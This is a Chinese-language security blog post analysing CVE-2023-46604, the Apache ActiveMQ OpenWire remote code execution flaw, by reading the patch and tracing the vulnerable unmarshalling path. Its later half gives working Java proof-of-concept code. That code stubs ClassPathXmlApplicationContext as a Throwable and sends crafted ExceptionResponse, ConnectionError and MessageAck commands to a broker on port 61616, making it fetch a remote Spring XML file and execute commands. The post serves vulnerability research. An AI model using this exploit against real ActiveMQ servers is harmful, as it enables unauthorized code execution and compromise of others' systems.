T0ngMystic`s Blog

"Security studying, Strive to be Security Re-Searcher. Love everything that I want to do"

CVE-2023-46604-ActiveMq-RCE

image

2023-12-26 / 共计2946 字


生命久如暗室,不妨碍我明写春诗。

Life may be as long as a dark room, but it does not hinder me from writing spring poems in the light.

前端时间在漏洞情报中看到ActiveMQ爆出了新的远程命令执行,本来早想分析看看的,结果拖到了今天。根据ActiceMQ官网的更新可以看出是OpenWire协议中的问题(Poc已上传Github): image.png

并且在ActiveMQ Classic Details中提到目前唯一已知利用方式为 org.springframework.context.support.ClassPathXmlApplicationContextimage-CVE-2023-46604-ActiveMq-RCE-20231226093556466

很容易在github中找到ActiveMQ相关commit。在更新中新增代码
activemq-client/src/main/java/org/apache/activemq/openwire/OpenWireUtil.java 其中validateIsThrowable通过Throwable.class.isAssignableFrom检查clazz是否是Throwable类或者其子类,不是则抛出异常: image.png

BaseDataStreamMarshaller#createThrowable中添加OpenWireUtil.validateIsThrowable,判断clazz是否是Throwable类或者其子类: image.png

更新前的createThrowable,很容易可以看出来,通过反射构造调用一个接收String的方法类,更新就在此基础上限定了只能调用Throwable类和继承了Throwable的类: image.png


代码分析

跟进createThrowable,看看什么地方调用了createThrowable,发现tightUnmarsalThrowable (org.apcahe.activemq.openwire.v12.BaseDataStreamMarshaller#tightUnmarsalThrowable)和looseUnmarsalThrowable (org.apcahe.activemq.openwire.v12.BaseDataStreamMarshaller#looseUnmarsalThrowable)调用了createThrowable,从传入参数DataInput dataIn获取了类名和参数保存至clazzmessage变量中,再通过createThrowable进行反射调用: image-CVE-2023-46604-ActiveMq-RCE-20231222102232369

通过搜索发现ConnectionErrorMarshallerExceptionResponseMarshallerMessageAskMarshaller可以调用tightUnmarsalThrowablelooseUnmarsalThrowable image-CVE-2023-46604-ActiveMq-RCE-20231222102327612

再通过搜索发现往上为org.apcahe.activemq.openwire.OpenWireFormat#doUnmarshaldoUnmarshal通过dataType获取不同的DataStreamMarshaller,从而控制调用不同类下的tightUnmarshallooseUnmarshalimage-CVE-2023-46604-ActiveMq-RCE-20231222102916144

利用从网上搜索到ActiveMQ发送消息的Demo,进行尝试:

/**  
 * @Projectname: demo  
 * @Filename: Demo  
 * @Author: T0ngMystic  
 * @Data:2023/12/21 16:08  
 * @Description: unauthorized  
 */  
  
import org.apache.activemq.ActiveMQConnection;  
import org.apache.activemq.ActiveMQConnectionFactory;  
  
  
import javax.jms.*;  
  
public class Demo {  
    public static void main(String[] args) throws Exception {  
  
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");  
        ActiveMQConnection connection = (ActiveMQConnection)connectionFactory.createConnection();  
        connection.start();  
        Session session = connection.createSession(true, Session.AUTO_ACKNOWLEDGE);  
        MessageProducer messageProducer = null;  
        Message message = session.createTextMessage("Hello T0ngMystic");  
  
        Destination destination = session.createQueue("aaa");  
        messageProducer = session.createProducer(destination);  
        messageProducer.send(message);  
        connection.getTransportChannel().oneway(message);  
        connection.close();  
    }  
}  

doUnmarshal进行Debug下断点看看是怎么回事,发现dataMarshallers不同的dataType对应不同的类,其中就有先前发现的ExceptionResponseMarshaller、ConnectionErrorMarshaller、MessageAckMarshaller,分别对应dataType如下:

ExceptionResponseMarshaller : 31
ConnectionErrorMarshaller : 16
MessageAckMarshaller : 22

image-CVE-2023-46604-ActiveMq-RCE-20231222102850080

此时可以知道,通过控制传入的DataInput dis,让其dataType311622即可进行反射调用进行远程命令执行,使用Demo中的send发送消息可以看到DataType对应26,对应ActiveMQObjectMessageMarshaller类,其中堆栈如下:

doUnmarshal:369, OpenWireFormat (org.apache.activemq.openwire)
unmarshal:290, OpenWireFormat (org.apache.activemq.openwire)
readCommand:240, TcpTransport (org.apache.activemq.transport.tcp)
doRun:232, TcpTransport (org.apache.activemq.transport.tcp)
run:215, TcpTransport (org.apache.activemq.transport.tcp)
run:-1, Thread (java.lang)

image-CVE-2023-46604-ActiveMq-RCE-20231222103355467

既然send发送消息对应ActiveMQObjectMessageMarshaller,那么只要发送ExceptionResponseConnectionErrorMessageAck,就能够进入我们想要的方法类,但是找了一圈send都没有发现能够发送ExceptionResponseConnectionErrorMessageAck的方法(对ActiveMQ实在是不太熟悉)。

在不断的Debug后发现org.apcahe.activemq.openwire.OpenWireFormat中看到了marshal方法,既然doUnmarshal是类似反序列化的过程,那么marshal就是类似序列化了,那么先Debug看看marshal是个怎么样的过程: image-CVE-2023-46604-ActiveMq-RCE-20231222155622439

在堆栈中找到TransposrtConnectorconnection.startdome创建连接高度相似: image-CVE-2023-46604-ActiveMq-RCE-20231222161040449.png

通过堆栈与代码可以看出最后会通过org.apache.activvemq.transport.tcp.TcpTransport#oneway传输消息,并且oneway接收参数为Object,可以发送类: image-CVE-2023-46604-ActiveMq-RCE-20231222161006957

如此,我们只需要对其进行patch,就可以进行消息发送,得到如下Demoimage-CVE-2023-46604-ActiveMq-RCE-20231225100511788

成功在doUnmarshal获取到ActiveMQTextMessageMarshallerimage-CVE-2023-46604-ActiveMq-RCE-20231225100436189

如此就可以通过oneway直接构造发送ExceptionResponseConnectionErroMessageAck从而得到DataType31、16、22了。先进行ExceptionResponse的构造,在ExceptionResponse的构造函数可以接收Throwable,也可以使用setException可以接收Throwable类型的参数,并赋值给this.exception: image-CVE-2023-46604-ActiveMq-RCE-20231225102208126

由于接收的参数必须是Throwable类型,那么发送的ClassPathXmlApplicationContext就需要继承Throwable类,所以对ClassPathXmlApplicationContext类进行patch并继承Throwable类:

package org.springframework.context.support;  
  
public class ClassPathXmlApplicationContext extends Throwable{  
    private String message;  
  
    public ClassPathXmlApplicationContext(String message) {  
        this.message = message;  
    }  
  
    @Override  
    public String getMessage() {  
        return message;  
    }  
}

最后构造poc如下,成功远程执行命令: image-CVE-2023-46604-ActiveMq-RCE-20231225101348718 在构造ConnectionErrorpayload中,构造函数并没有参数进行传输,但找到setException可以进行赋值: image-CVE-2023-46604-ActiveMq-RCE-20231225101801187

同样在构造MessageAckpayload,没有获取Throwable类型的构造函数,但是setPoisonCause可以进行赋值: image-CVE-2023-46604-ActiveMq-RCE-20231225101742831

成功使用MessageAck进行远程代码执行利用: image-CVE-2023-46604-ActiveMq-RCE-20231225101919395 成功利用ConnectionError进行远程代码执行利用: image-CVE-2023-46604-ActiveMq-RCE-20231225101957081 最终ExceptionResponseMessageAckConnectionErrodr 的Poc如下:

/**  
 * @Projectname: demo  
 * @Filename: Demo  
 * @Author: T0ngMystic  
 * @Data:2023/12/21 16:08  
 * @Description: unauthorized  
 */  
  
import org.apache.activemq.ActiveMQConnection;  
import org.apache.activemq.ActiveMQConnectionFactory;  
import org.apache.activemq.command.ConnectionError;  
import org.apache.activemq.command.ExceptionResponse;  
import org.apache.activemq.command.MessageAck;  
import org.springframework.context.support.ClassPathXmlApplicationContext;  
  
import javax.jms.*;  
  
public class Demo {  
    public static void main(String[] args) throws Exception {  
  
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");  
        ActiveMQConnection connection = (ActiveMQConnection)connectionFactory.createConnection();  
        connection.start();  
        Session session = connection.createSession(true, Session.AUTO_ACKNOWLEDGE);  
//      messageProducer.send(message);  
        ExceptionResponse message1 = new ExceptionResponse(new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml"));  
        ConnectionError message2 = new ConnectionError();  
        message2.setException(new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml"));  
        MessageAck message3 = new MessageAck();  
        message3.setPoisonCause(new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml"));  
        connection.getTransportChannel().oneway(message3);  
  
        connection.close();  
    }  
}

文笔垃圾,技术欠缺,欢迎各位师傅请斧正,非常感谢!


如果文章对您有帮助

欢迎关注公众号!

感谢您的支持!